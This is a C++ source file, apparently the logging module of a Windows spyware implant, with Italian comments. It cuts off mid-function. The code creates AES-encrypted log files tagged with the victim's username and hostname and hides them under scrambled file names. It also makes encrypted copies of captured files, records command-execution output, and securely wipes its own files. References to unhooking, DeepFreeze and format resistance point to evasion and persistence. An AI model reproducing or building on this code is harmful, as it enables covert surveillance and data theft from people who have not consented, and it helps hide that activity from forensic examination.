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LOG.cpp
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LOG.cpp
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#include <windows.h>
#include <time.h>
#include <stdio.h>
#include "common.h"
#include "ASP.h"
#include "LOG.h"
#include "H4-DLL.h"
#include "aes_alg.h"
#include "sha1.h"
#include "md5.h"
#include "explore_directory.h"
#include "x64.h"
#include "JSON\JSON.h"
#include "UnHookClass.h"
#include "DeepFreeze.h"
#include "format_resistant.h"
extern BOOL IsDriverRunning(WCHAR *driver_name);
extern char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];
typedef struct {
DWORD agent_tag;
HANDLE h_file;
} log_entry_struct;
typedef struct log_list {
nanosec_time ftime;
char *file_name;
DWORD size;
struct log_list* next;
} log_list_struct;
log_list_struct *log_list_head = NULL;
//
// Struttura dei log file
//
// C'e' una dword in chiaro che indica: sizeof(LogStruct) + uDeviceIdLen + uUserIdLen + uSourceIdLen + uAdditionalData
typedef struct _LogStruct{
UINT uVersion; // Versione della struttura
#define LOG_VERSION 2008121901
UINT uLogType; // Tipo di log
UINT uHTimestamp; // Parte alta del timestamp
UINT uLTimestamp; // Parte bassa del timestamp
UINT uDeviceIdLen; // IMEI/Hostname len
UINT uUserIdLen; // IMSI/Username len
UINT uSourceIdLen; // Numero del caller/IP len
UINT uAdditionalData; // Lunghezza della struttura addizionale, se presente
}LogStruct, *pLogStruct;
#define NO_TAG_ENTRY 0xFFFFFFFF
#define MAX_LOG_ENTRIES 70
#define MIN_CREATION_SPACE 307200 // Numero di byte che devono essere rimasti per creare ancora nuovi file di log
log_entry_struct log_table[MAX_LOG_ENTRIES];
// Dichiarato in SM_EventHandlers.h
extern BOOL IsGreaterDate(nanosec_time *, nanosec_time *);
extern BOOL IsNewerDate(FILETIME *date, FILETIME *dead_line);
// Dichiarato in SM_ActionFunctions.h
extern BOOL WINAPI DA_Execute(BYTE *command);
// In BitmapCommon
extern void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality);
typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter);
extern BOOL HM_ParseConfGlobals(char *conf, conf_callback_t call_back);
extern aes_context crypt_ctx; // Dichiarata in shared
extern aes_context crypt_ctx_conf; // Dichiarata in shared
extern BYTE crypt_key[KEY_LEN]; // Dichiarata in shared
extern BYTE crypt_key_conf[KEY_LEN]; // Dichiarata in shared
BOOL log_wipe_file = FALSE; // Indica se sovrascrive un file prima di cancellarlo
DWORD min_disk_free = 0; // Spazio minimo che deve rimanere su disco (configurabile)
DWORD max_disk_full = 0; // Spazio massimo occupabile dai log
extern DWORD log_free_space; // Dichiarata nel segmento shared
extern DWORD log_active_queue;
extern BOOL IsDeepFreeze();
#define LOG_SIZE_MAX ((DWORD)1024*1024*100) //100MB
DWORD GetLogSize(char *path)
{
DWORD hi_dim=0, lo_dim=0;
HANDLE hfile;
hfile = FNC(CreateFileA)(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hfile == INVALID_HANDLE_VALUE)
return 0xFFFFFFFF;
lo_dim = FNC(GetFileSize)(hfile, &hi_dim);
CloseHandle(hfile);
if (lo_dim == INVALID_FILE_SIZE || hi_dim>0)
return 0xFFFFFFFF;
return lo_dim;
}
// Inserisce un elemento nella lista dei log da spedire in ordine di tempo
BOOL InsertLogList(log_list_struct **log_list, WIN32_FIND_DATA *log_elem)
{
log_list_struct *new_elem;
// Alloca e inizializza il nuovo elemento
if ( !(new_elem = (log_list_struct *)malloc(sizeof(log_list_struct))) )
return FALSE;
if ( !(new_elem->file_name = (char *)strdup(log_elem->cFileName)) ) {
SAFE_FREE(new_elem);
return FALSE;
}
new_elem->ftime.hi_delay = log_elem->ftCreationTime.dwHighDateTime;
new_elem->ftime.lo_delay = log_elem->ftCreationTime.dwLowDateTime;
new_elem->size = log_elem->nFileSizeLow;
// Cerca l'elemento dove va inserito
while (*log_list) {
// Se abbiamo trovato il posto giusto si ferma
if (!IsGreaterDate(&(new_elem->ftime), &((*log_list)->ftime)))
break;
// Continua a scorrere la lista
log_list = &( (*log_list)->next );
}
new_elem->next = *log_list;
*log_list = new_elem;
return TRUE;
}
// Libera la lista dei log
void FreeLogList(log_list_struct **log_list)
{
log_list_struct *list_ptr, *tmp_ptr;
list_ptr = *log_list;
while(list_ptr) {
SAFE_FREE(list_ptr->file_name);
tmp_ptr = list_ptr->next;
SAFE_FREE(list_ptr);
list_ptr = tmp_ptr;
}
*log_list = NULL;
}
// Fa una pausa random in un intervallo (in secondi)
#define MAX_SLEEP_PAUSE 10
void LOG_SendPause(DWORD min_sleep, DWORD max_sleep)
{
DWORD sleep_time;
if (min_sleep > MAX_SLEEP_PAUSE)
min_sleep = MAX_SLEEP_PAUSE;
if (max_sleep > MAX_SLEEP_PAUSE)
max_sleep = MAX_SLEEP_PAUSE;
if (min_sleep > max_sleep || max_sleep == 0)
return;
srand((DWORD)time(NULL));
rand();
sleep_time = (((double)rand()/(double)RAND_MAX) * (max_sleep-min_sleep) + min_sleep);
sleep_time*=1000;
Sleep(sleep_time);
}
// Inizializza la chiave di cifratura.
void LOG_InitCryptKey(BYTE *crypt_material, BYTE *crypt_material_conf)
{
// Chiave per i log
memcpy(crypt_key, crypt_material, KEY_LEN);
aes_set_key( &crypt_ctx, crypt_material, KEY_LEN*8 );
// Chiave per la conf
memcpy(crypt_key_conf, crypt_material_conf, KEY_LEN);
aes_set_key( &crypt_ctx_conf, crypt_material_conf, KEY_LEN*8 );
}
void WINAPI ParseGlobalsQuota(JSONObject conf_json, DWORD dummy)
{
JSONObject quota;
if (!conf_json[L"quota"]->IsObject())
return;
quota = conf_json[L"quota"]->AsObject();
min_disk_free = (DWORD) quota[L"min"]->AsNumber();
max_disk_full = (DWORD) quota[L"max"]->AsNumber();
log_wipe_file = (BOOL) conf_json[L"wipe"]->AsBool();
SetFormatResistant(conf_json[L"format"]->AsBool());
}
// Legge la configuazione per i log
// (viene letto solo quando inizializza i log e
// non sulla ricezione di un nuovo file)
void UpdateLogConf()
{
char *conf_memory;
conf_memory = HM_ReadClearConf(H4_CONF_FILE);
if (conf_memory)
HM_ParseConfGlobals(conf_memory, &ParseGlobalsQuota);
SAFE_FREE(conf_memory);
}
// Sottrae due large integer (con a>b)
void LargeSubtract(const ULARGE_INTEGER *a,
const ULARGE_INTEGER *b,
ULARGE_INTEGER *result)
{
if (a->LowPart >= b->LowPart) {
result->LowPart = a->LowPart - b->LowPart;
result->HighPart = a->HighPart - b->HighPart;
} else {
result->LowPart = (0xffffffff - b->LowPart);
result->LowPart += 1 + a->LowPart;
result->HighPart = a->HighPart - b->HighPart - 1;
}
}
// Torna lo spazio destinato ai log.
// Il minimo spazio libero richiedibile e' massimo 4GB.
// Lo spazio occupabile dai log e' massimo 4GB.
DWORD LOG_CalcSpace(ULARGE_INTEGER *large_space, DWORD space_req)
{
ULARGE_INTEGER large_req;
ULARGE_INTEGER result;
// Se lo spazio richiesto e' maggiore, ritorna 0
if (large_space->HighPart == 0 && large_space->LowPart <= space_req)
return 0;
// Se lo spazio richiesto e' minore, sottrae
large_req.HighPart = 0;
large_req.LowPart = space_req;
LargeSubtract(large_space, &large_req, &result);
// Se il risultato e' > di 4GB, ritorna 4GB
if (result.HighPart>0)
return 0xFFFFFFFF;
// Altrimenti torna la parte bassa
return result.LowPart;
}
// Calcola la dimensione della directory di lavoro
// Se fallisce torna che la directory occupa 4GB
DWORD LOG_GetActualLogSize()
{
DWORD log_total_size = 0xFFFFFFFF;
char DirSpec[MAX_PATH];
WIN32_FIND_DATA FindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
HM_CompletePath("*", DirSpec);
hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE) {
log_total_size = 0;
do {
// Salta le directory (es: ".", ".." etc...)
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
continue;
if (FindFileData.nFileSizeLow != INVALID_FILE_SIZE)
log_total_size += FindFileData.nFileSizeLow;
} while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
FNC(FindClose)(hFind);
}
return log_total_size;
}
void LOG_InitSequentialLogs()
{
DWORD i;
// Inizializza la tabella dei log
for (i=0; i<MAX_LOG_ENTRIES; i++) {
log_table[i].agent_tag = NO_TAG_ENTRY;
log_table[i].h_file = INVALID_HANDLE_VALUE;
}
}
// Inizializza l'utilizzo dei log
void LOG_InitLog()
{
ULARGE_INTEGER temp_free_space;
char disk_path[DLLNAMELEN];
DWORD temp_log_space;
DWORD allowed_size1 = 0;
DWORD allowed_size2 = 0;
log_active_queue = 0;
// Legge la configurazione dei log
UpdateLogConf();
LOG_InitSequentialLogs();
// Inizializza lo spazio rimanente sul disco
// dove e' la directory di lavoro
// (min disk free)
if (FNC(GetDiskFreeSpaceExA)(HM_CompletePath("", disk_path), NULL, NULL, &temp_free_space))
allowed_size1 = LOG_CalcSpace(&temp_free_space, min_disk_free);
// Inizializza lo spazio ancora a disposizione per i log
// (max disk full)
temp_log_space = LOG_GetActualLogSize();
if (max_disk_full >= temp_log_space)
allowed_size2 = max_disk_full - temp_log_space;
// Lo spazio libero e' la condizione piu' stringente
// fra le due sopra
// (se qualcosa va storto log_free_space = 0)
if (allowed_size1 < allowed_size2)
log_free_space = allowed_size1;
else
log_free_space = allowed_size2;
}
// Crea l'header per il nuovo formato di log
// l'header poi va LIBERATO!
BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len)
{
FILETIME tstamp;
WCHAR user_name[256];
WCHAR host_name[256];
DWORD header_len;
DWORD padded_len;
BYTE iv[BLOCK_LEN];
BYTE *final_header, *ptr;
LogStruct log_header;
if (out_len)
*out_len = 0;
// Calcola i campi da mettere nell'header
memset(user_name, 0, sizeof(user_name));
memset(host_name, 0, sizeof(host_name));
user_name[0]=L'-';
host_name[0]=L'-';
FNC(GetEnvironmentVariableW)(L"USERNAME", (WCHAR *)user_name, sizeof(user_name)/2-2);
FNC(GetEnvironmentVariableW)(L"COMPUTERNAME", (WCHAR *)host_name, sizeof(host_name)/2-2);
FNC(GetSystemTimeAsFileTime)(&tstamp);
// Riempie l'header
log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR);
log_header.uUserIdLen = wcslen(user_name)*sizeof(WCHAR);
log_header.uSourceIdLen = 0;
if (additional_data)
log_header.uAdditionalData = additional_len;
else
log_header.uAdditionalData = 0;
log_header.uVersion = LOG_VERSION;
log_header.uHTimestamp = tstamp.dwHighDateTime;
log_header.uLTimestamp = tstamp.dwLowDateTime;
log_header.uLogType = agent_tag;
// Calcola la lunghezza totale dell'header e il padding
header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData;
padded_len = header_len;
if (padded_len % BLOCK_LEN) {
padded_len /= BLOCK_LEN;
padded_len++;
padded_len *= BLOCK_LEN;
}
padded_len += sizeof(DWORD);
if (padded_len < header_len)
return NULL;
final_header = (BYTE *)malloc(padded_len);
if (!final_header)
return NULL;
ptr = final_header;
// Scrive l'header
header_len = padded_len - sizeof(DWORD);
memcpy(ptr, &header_len, sizeof(DWORD));
ptr += sizeof(DWORD);
memcpy(ptr, &log_header, sizeof(log_header));
ptr += sizeof(log_header);
memcpy(ptr, host_name, log_header.uDeviceIdLen);
ptr += log_header.uDeviceIdLen;
memcpy(ptr, user_name, log_header.uUserIdLen);
ptr += log_header.uUserIdLen;
if (additional_data)
memcpy(ptr, additional_data, additional_len);
// Cifra l'header (la prima DWORD e' in chiaro)
memset(iv, 0, sizeof(iv));
aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD));
if (out_len)
*out_len = padded_len;
return final_header;
}
void PrintBinary(WORD number, char *output)
{
DWORD i = 0;
sprintf(output, "0000000000000000");
while (number) {
if (number & 1)
output[i] = '1';
i++;
number >>= 1;
}
}
// Inizializza l'uso dei log per un agente
// (non e' thread safe)
// Torna TRUE se ha successo
BOOL LOG_InitAgentLog(DWORD agent_tag)
{
DWORD i;
HANDLE h_file;
char log_wout_path[128];
char file_name[DLLNAMELEN];
char binary_tag[64];
char *scrambled_name;
BOOL newly_created;
// Controlla che il TAG non sia gia' presente
for (i=0; i<MAX_LOG_ENTRIES; i++)
if (log_table[i].agent_tag == agent_tag)
return TRUE;
// Cerca una entry vuota e la riempie (solo se
// riesce ad aprire il file)
for(i=0; i<MAX_LOG_ENTRIES; i++)
if (log_table[i].agent_tag == NO_TAG_ENTRY) {
ZeroMemory(binary_tag, sizeof(binary_tag));
PrintBinary(agent_tag, binary_tag);
sprintf(log_wout_path, "%.1XLOG%s%s.log", log_active_queue, binary_tag, SHARE_MEMORY_READ_NAME);
if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
return FALSE;
HM_CompletePath(scrambled_name, file_name);
SAFE_FREE(scrambled_name);
h_file = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, 0, NULL);
if (h_file == INVALID_HANDLE_VALUE)
return FALSE;
if (GetLastError() == ERROR_ALREADY_EXISTS )
newly_created = FALSE;
else
newly_created = TRUE;
FNC(SetFilePointer)(h_file, 0, NULL, FILE_END);
// Se e' un file nuovo, ci inserisc l'header
if (newly_created) {
DWORD out_len, dummy;
BYTE *log_header;
log_header = Log_CreateHeader(agent_tag, NULL, 0, &out_len);
if (!log_header || log_free_space<out_len || !FNC(WriteFile)(h_file, log_header, out_len, &dummy, NULL)) {
CloseHandle(h_file);
SAFE_FREE(log_header);
FNC(DeleteFileA)(file_name);
return FALSE;
}
SAFE_FREE(log_header);
if (log_free_space >= out_len)
log_free_space -= out_len;
FNC(FlushFileBuffers)(h_file);
}
log_table[i].h_file = h_file;
log_table[i].agent_tag = agent_tag;
return TRUE;
}
return FALSE;
}
// Stoppa l'uso dei log per un agente
void LOG_StopAgentLog(DWORD agent_tag)
{
DWORD i;
// Cerca il TAG giusto
for (i=0; i<MAX_LOG_ENTRIES; i++)
if (log_table[i].agent_tag == agent_tag) {
log_table[i].agent_tag = NO_TAG_ENTRY;
CloseHandle(log_table[i].h_file);
log_table[i].h_file = INVALID_HANDLE_VALUE;
return;
}
}
// Offusca un log. Ritorna il buffer cifrato (che andra' liberato)
// Compatibile con il nuovo formato di file
BYTE *LOG_Obfuscate(BYTE *buff, DWORD buff_len, DWORD *crypt_len)
{
DWORD *ptr; // Indice nel buffer cifrato
BYTE *crypt_buff;
DWORD tot_len;
DWORD i;
BYTE iv[BLOCK_LEN];
// Il buffer sara' composto cosi':
// DWORD original_len (in chiaro)
// buffer (cifrato)
// padding (in modo che tutto sia multiplo di 16 byte)
tot_len = buff_len;
if (tot_len % BLOCK_LEN) {
tot_len /= BLOCK_LEN;
tot_len++;
tot_len *= BLOCK_LEN;
}
tot_len += sizeof(DWORD);
// Check overflow
if (tot_len < buff_len)
return NULL;
// Alloca il buffer
crypt_buff = (BYTE *)malloc(tot_len);
if (!crypt_buff)
return NULL;
*crypt_len = tot_len;
// Copia la lunghezza originale
ptr = (DWORD *)crypt_buff;
*ptr = buff_len;
ptr++;
// Copia il buffer in chiaro (rimarranno dei byte di padding
// inutilizzati).
memcpy(ptr, buff, buff_len);
memset(iv, 0, sizeof(iv));
// Cifra tutto il blocco
aes_cbc_encrypt(&crypt_ctx, iv, (BYTE *)ptr, (BYTE *)ptr, tot_len-sizeof(DWORD));
return crypt_buff;
}
// Scrive un a entry nel file di log corrispondente
BOOL LOG_ReportLog(DWORD agent_tag, BYTE *buff, DWORD buff_len)
{
DWORD i;
// Cerca il TAG giusto
for (i=0; i<MAX_LOG_ENTRIES; i++)
if (log_table[i].agent_tag == agent_tag)
return Log_WriteFile(log_table[i].h_file, buff, buff_len);
return FALSE;
}
// Effettua lo scrambling e il descrimbling di una stringa
// Ricordarsi di liberare la memoria allocata
// E' Thread SAFE
char *LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt)
{
char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M',
'f','O','z','Q','A','S','x','4','V','u','X','d','Z',
'i','b','U','I','e','y','l','J','W','h','j','0','m',
'5','o','2','E','r','L','t','6','v','G','R','N','9',
's','Y','1','n','3','P','p','c','7','g','-','C'};
char *ret_string;
DWORD i,j;
if ( !(ret_string = _strdup(string)) )
return NULL;
// Evita di lasciare i nomi originali anche se il byte e' 0
scramble%=ALPHABET_LEN;
if (scramble == 0)
scramble = 1;
for (i=0; ret_string[i]; i++) {
for (j=0; j<ALPHABET_LEN; j++)
if (ret_string[i] == alphabet[j]) {
// Se crypt e' TRUE cifra, altrimenti decifra
if (crypt)
ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
else
ret_string[i] = alphabet[(j+ALPHABET_LEN-scramble)%ALPHABET_LEN];
break;
}
}
return ret_string;
}
char *LOG_ScrambleName2(char *string, BYTE scramble, BOOL crypt)
{
char alphabet[ALPHABET_LEN]={'a','_','q','T','w','B','H','W','K','F','D','M','k',
'i','U','m','I','e','l','J','8','y','h','j','b','0',
'f','4','z','Q','O','9','S','x','u','X','A','V','Z',
'3','7','2','E','L','r','t','G','6','v','C','N','d',
's','5','p','o','Y','n','1','c','g','P','R','-'};
char *ret_string;
DWORD i,j;
if ( !(ret_string = _strdup(string)) )
return NULL;
// Evita di lasciare i nomi originali anche se il byte e' 0
scramble%=ALPHABET_LEN;
if (scramble == 0)
scramble = 1;
for (i=0; ret_string[i]; i++) {
for (j=0; j<ALPHABET_LEN; j++)
if (ret_string[i] == alphabet[j]) {
// Se crypt e' TRUE cifra, altrimenti decifra
if (crypt)
ret_string[i] = alphabet[(j+scramble)%ALPHABET_LEN];
else
ret_string[i] = alphabet[(j+ALPHABET_LEN-scramble)%ALPHABET_LEN];
break;
}
}
return ret_string;
}
// --- Funzioni per far creare file agli agenti ---
// DEVONO ESSERE TUTTE THREAD SAFE
// Crea un file di log col nuovo formato
HANDLE Log_CreateFile(DWORD agent_tag, BYTE *additional_header, DWORD additional_len)
{
char log_wout_path[128];
char file_name[DLLNAMELEN];
char *scrambled_name;
FILETIME time_nanosec;
DWORD out_len, dummy;
BYTE *log_header;
HANDLE hfile;
#define MAX_FILE_RETRY_COUNT 20
DWORD retry_count = 0;
// Controlla che ci sia ancora spazio per scrivere su disco
// (additional_len e' l'unica parte di lunghezza variabile dell'header)
if (log_free_space <= MIN_CREATION_SPACE + additional_len)
return INVALID_HANDLE_VALUE;
// Usa l'epoch per dare un nome univoco al file
FNC(GetSystemTimeAsFileTime)(&time_nanosec);
// Fa piu' tentativi ogni volta cambiando il nome del file
// data la scarsa granularita' del systemtime
do {
retry_count++;
if (retry_count > MAX_FILE_RETRY_COUNT)
return INVALID_HANDLE_VALUE;
_snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%.8X%.8X.log", log_active_queue, agent_tag, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
return INVALID_HANDLE_VALUE;
HM_CompletePath(scrambled_name, file_name);
SAFE_FREE(scrambled_name);
hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// Incrementa di 1 il timestamp se deve riprovare
time_nanosec.dwLowDateTime++;
if (time_nanosec.dwLowDateTime == 0) // il riporto
time_nanosec.dwHighDateTime++;
} while (hfile == INVALID_HANDLE_VALUE);
// Scrive l'header nel file
log_header = Log_CreateHeader(agent_tag, additional_header, additional_len, &out_len);
if (!log_header || log_free_space<out_len || !FNC(WriteFile)(hfile, log_header, out_len, &dummy, NULL)) {
SAFE_FREE(log_header);
CloseHandle(hfile);
FNC(DeleteFileA)(file_name);
return INVALID_HANDLE_VALUE;
}
SAFE_FREE(log_header);
// ...e sottrae dalla quota disco
if (log_free_space >= out_len)
log_free_space -= out_len;
FNC(FlushFileBuffers)(hfile);
return hfile;
}
// Usato per l'output dei comandi
// N.B. Non sottrae quota disco!
HANDLE Log_CreateOutputFile(char *command_name)
{
char log_wout_path[128];
char file_name[DLLNAMELEN];
char *scrambled_name;
FILETIME time_nanosec;
DWORD out_len, dummy;
BYTE *log_header;
HANDLE hfile;
SECURITY_ATTRIBUTES sa;
// Controlla che ci sia ancora spazio per scrivere su disco
if (log_free_space <= MIN_CREATION_SPACE)
return INVALID_HANDLE_VALUE;
// Usa l'epoch per dare un nome univoco al file
FNC(GetSystemTimeAsFileTime)(&time_nanosec);
_snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "OUTF%.8X%.8X.log", time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) )
return INVALID_HANDLE_VALUE;
HM_CompletePath(scrambled_name, file_name);
SAFE_FREE(scrambled_name);
sa.bInheritHandle = TRUE;
sa.nLength = 0;
sa.lpSecurityDescriptor = NULL;
hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hfile == INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
// Scrive l'header nel file
log_header = Log_CreateHeader(PM_COMMANDEXEC, (BYTE *)command_name, strlen(command_name) + 1, &out_len);
if (!log_header || log_free_space<out_len || !FNC(WriteFile)(hfile, log_header, out_len, &dummy, NULL)) {
SAFE_FREE(log_header);
CloseHandle(hfile);
FNC(DeleteFileA)(file_name);
return INVALID_HANDLE_VALUE;
}
SAFE_FREE(log_header);
FNC(FlushFileBuffers)(hfile);
return hfile;
}
// Chiude un file di log
void Log_CloseFile(HANDLE handle)
{
if (handle != INVALID_HANDLE_VALUE)
CloseHandle(handle);
}
// Cancella tutti i file di log
void Log_RemoveFiles()
{
char log_file[DLLNAMELEN];
WIN32_FIND_DATA FindFileData;
char DirSpec[MAX_PATH];
HANDLE hFind = INVALID_HANDLE_VALUE;
// Cerca tutti i file nella directory di lavoro tranne
// il core e il file di configurazione
HM_CompletePath("*", DirSpec);
hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
// Salta le directory (es: ".", ".." etc...)
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
continue;
// Cancella i file che non sono il core o il file di conf
if (stricmp(FindFileData.cFileName, H4DLLNAME) && stricmp(FindFileData.cFileName, H4_CONF_FILE))
HM_WipeFileA(HM_CompletePath(FindFileData.cFileName, log_file));
} while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
FNC(FindClose)(hFind);
}
}
// Salva lo stato di un agente
BOOL Log_SaveAgentState(DWORD agent_tag, BYTE *conf_buf, DWORD conf_len)
{
char conf_name[128];
char conf_path[DLLNAMELEN];
char *scrambled_name;
HANDLE hf;
DWORD dwWrt = 0;
// Il formato del nome e' ACFG<agent>.bin
_snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag);
if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) )
return FALSE;
HM_CompletePath(scrambled_name, conf_path);
SAFE_FREE(scrambled_name);
hf = FNC(CreateFileA)(conf_path, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hf == INVALID_HANDLE_VALUE)
return FALSE;
// Verifica che abbia scritto tutto
if (!FNC(WriteFile)(hf, conf_buf, conf_len, &dwWrt, NULL) || dwWrt!=conf_len) {
CloseHandle(hf);
return FALSE;
}
CloseHandle(hf);
return TRUE;
}
// Carica lo stato di un agente
BOOL Log_RestoreAgentState(DWORD agent_tag, BYTE *conf_buf, DWORD conf_len)
{
char conf_name[128];
char conf_path[DLLNAMELEN];
char *scrambled_name;
HANDLE hf;
DWORD dwRd = 0;
// Il formato del nome e' ACFG<agent>.bin
_snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag);
if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) )
return FALSE;
HM_CompletePath(scrambled_name, conf_path);
SAFE_FREE(scrambled_name);
hf = FNC(CreateFileA)(conf_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hf == INVALID_HANDLE_VALUE)
return FALSE;
// Verifica che abbia scritto tutto
if (!FNC(ReadFile)(hf, conf_buf, conf_len, &dwRd, NULL) || dwRd!=conf_len) {
CloseHandle(hf);
return FALSE;
}
CloseHandle(hf);
return TRUE;
}
// Copia il file in modo offuscato (aggiornando la quota
// disco anche in caso di sovrascritture).
#define CRYPT_COPY_BUF_LEN 102400
BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag)
{
HANDLE hsrc, hdst;
BY_HANDLE_FILE_INFORMATION dst_info;
DWORD existent_file_size = 0;
DWORD dwRead;
BYTE *temp_buff;
BYTE *file_additional_data;
BYTE *log_file_header;
FileAdditionalData *file_additiona_data_header;
DWORD header_len;
WCHAR *to_display;
if (display_name)
to_display = display_name;
else
to_display = src_path;
// Crea l'header da scrivere nel file
if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
return FALSE;
file_additiona_data_header = (FileAdditionalData *)file_additional_data;
file_additiona_data_header->uVersion = LOG_FILE_VERSION;
file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
SAFE_FREE(file_additional_data);
if (!log_file_header)
return FALSE;
// Prende le info del file destinazione (se esiste)
hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
if (hdst != INVALID_HANDLE_VALUE) {
if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
existent_file_size = dst_info.nFileSizeLow;
}
CloseHandle(hdst);
}
if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
SAFE_FREE(log_file_header);
return FALSE;
}
hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
if (hsrc == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
SAFE_FREE(temp_buff);
return FALSE;
}
// Controlla che ci sia ancora spazio per scrivere su disco
if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
SAFE_FREE(temp_buff);
SAFE_FREE(log_file_header);
CloseHandle(hsrc);
return FALSE;
}
hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
if (hdst == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
SAFE_FREE(temp_buff);
CloseHandle(hsrc);
return FALSE;
}
// Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
// recuperata.
log_free_space += existent_file_size;
// Scrive l'header nel file
if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
CloseHandle(hsrc);
CloseHandle(hdst);
SAFE_FREE(log_file_header);
SAFE_FREE(temp_buff);
return FALSE;
}
if (log_free_space >= header_len)
log_free_space -= header_len;
SAFE_FREE(log_file_header);
FNC(FlushFileBuffers)(hdst);
// Cicla finche riesce a leggere (e/o a scrivere)
LOOP {
dwRead = 0;
if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
break;
// La Log_WriteFile sottrae la quota disco di ogni scrittura
// Esce perche' quando il file da leggere e' finito dwRead e' 0
// e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte
if (!Log_WriteFile(hdst, temp_buff, dwRead))
break;
}
SAFE_FREE(temp_buff);
CloseHandle(hsrc);
CloseHandle(hdst);
return TRUE;
}
// Crea un file di log di tipo "file capture" vuoto, nel caso non sia stato possibile catturarlo per size
// Specifica la size nel nome del file stesso
BOOL Log_CryptCopyEmptyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD existent_file_len, DWORD agent_tag)
{
HANDLE hdst;
DWORD dwRead;
BY_HANDLE_FILE_INFORMATION dst_info;
DWORD existent_file_size = 0;
BYTE *file_additional_data;
BYTE *log_file_header;
FileAdditionalData *file_additiona_data_header;
DWORD header_len;
WCHAR to_display[MAX_PATH];
if (display_name)
_snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", display_name, existent_file_len);
else
_snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", src_path, existent_file_len);
// Crea l'header da scrivere nel file
if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
return FALSE;
file_additiona_data_header = (FileAdditionalData *)file_additional_data;
file_additiona_data_header->uVersion = LOG_FILE_VERSION;
